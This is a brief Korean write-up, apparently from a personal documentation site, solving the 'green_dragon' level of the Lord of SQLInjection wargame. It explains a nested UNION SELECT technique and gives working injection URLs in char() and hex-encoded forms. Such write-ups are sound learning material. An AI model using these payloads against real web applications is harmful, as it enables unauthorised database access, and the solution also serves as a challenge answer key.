> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-green_dragon.md).
# \[Lord Of SQLInjection] green\_dragon
\- 문제 접근
\- union select 이용
-> 서로 다른 테이블에서 얻어온 칼럼을 하나의 단일 칼럼으로 만들어 주는 키워드
-> 이때, 불러오는 컬럼의 개수는 동일해야한다.
-> prob\_green\_dragon 테이블이 비어있기 때문에, union select를 통해 값을 select하여 query 2에 id와 pw를 넣어준다.
-> 첫번째 쿼리의 pw 입력에 union select를 이용해서, 두번째 쿼리의 id를 무력화시키고 (어차피 빈 테이블이므로), pw에 union select를 통해 admin id 를 select하면 해결됨
ASCII 코드 변환 전
```
[도메인 값]?id=\&pw=union select \union select char(97,100,109,105,110)#'
```
ASCII 코드 변환 후
```
[도메인 값]?id=\&pw=union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23
```
---
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